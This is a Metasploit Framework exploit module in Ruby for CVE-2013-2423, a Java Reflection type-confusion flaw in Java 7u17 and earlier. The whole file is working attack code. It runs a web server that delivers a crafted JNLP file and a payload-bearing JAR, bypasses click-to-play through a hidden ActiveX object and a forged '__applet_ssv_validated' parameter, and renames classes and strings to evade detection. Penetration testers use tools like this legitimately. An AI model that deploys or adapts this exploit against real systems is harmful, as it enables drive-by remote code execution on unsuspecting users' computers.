##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Applet Reflection Type Confusion Remote Code Execution',
			'Description'   => %q{
					This module abuses Java Reflection to generate a Type Confusion, due to a weak
				access control when setting final fields on static classes, and run code outside of
				the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This
				exploit bypasses click-to-play throw a specially crafted JNLP file. This bypass is
				applied mainly to IE, when Java Web Start can be launched automatically throw the
				ActiveX control. Otherwise the applet is launched without click-to-play bypass.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Jeroen Frijters', # Vulnerability discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2013-2423' ],
					[ 'OSVDB', '92348' ],
					[ 'BID', '59162' ],
					[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ],
					[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/b453d9be6b3f' ],
					[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 10 2013'
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Exploit.class")
		@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union1.class")
		@union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union2.class")
		@union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "SystemClass.class")
		@system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha("Exploit".length)
		@exploit_class.gsub!("Exploit", @exploit_class_name)

		@jnlp_name = rand_text_alpha(8)

		super
	end

	def jnlp_file
		jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"

		jnlp = %Q|
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">
	<information>
		<title>Applet Test JNLP</title>
		<vendor>#{rand_text_alpha(8)}</vendor>
		<description>#{rand_text_alpha(8)}</description>
		<offline-allowed/>
	</information>

	<resources>
		<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />
		<jar href="#{rand_text_alpha(8)}.jar" main="true" />
	</resources>
	<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">
		<param name="__applet_ssv_validated" value="true"></param>
	</applet-desc>
	<update check="background"/>
</jnlp>
		|
		return jnlp
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jnlp$/i
			send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@exploit_class_name}.class", @exploit_class)
			jar.add_file("Union1.class", @union1_class)
			jar.add_file("Union2.class", @union2_class)
			jar.add_file("SystemClass.class", @system_class)
			metasploit_str = rand_text_alpha("metasploit".length)
			payload_str = rand_text_alpha("payload".length)
			jar.entries.each { |entry|
				entry.name.gsub!("metasploit", metasploit_str)
				entry.name.gsub!("Payload", payload_str)
				entry.data = entry.data.gsub("metasploit", metasploit_str)
				entry.data = entry.data.gsub("Payload", payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"

		html = %Q|
		<html>
		<body>
		<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>
		<param name="app" value="#{jnlp_uri}">
		<param name="back" value="true">
		<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
		</object>
		</body>
		</html>
		|
		return html
	end

end
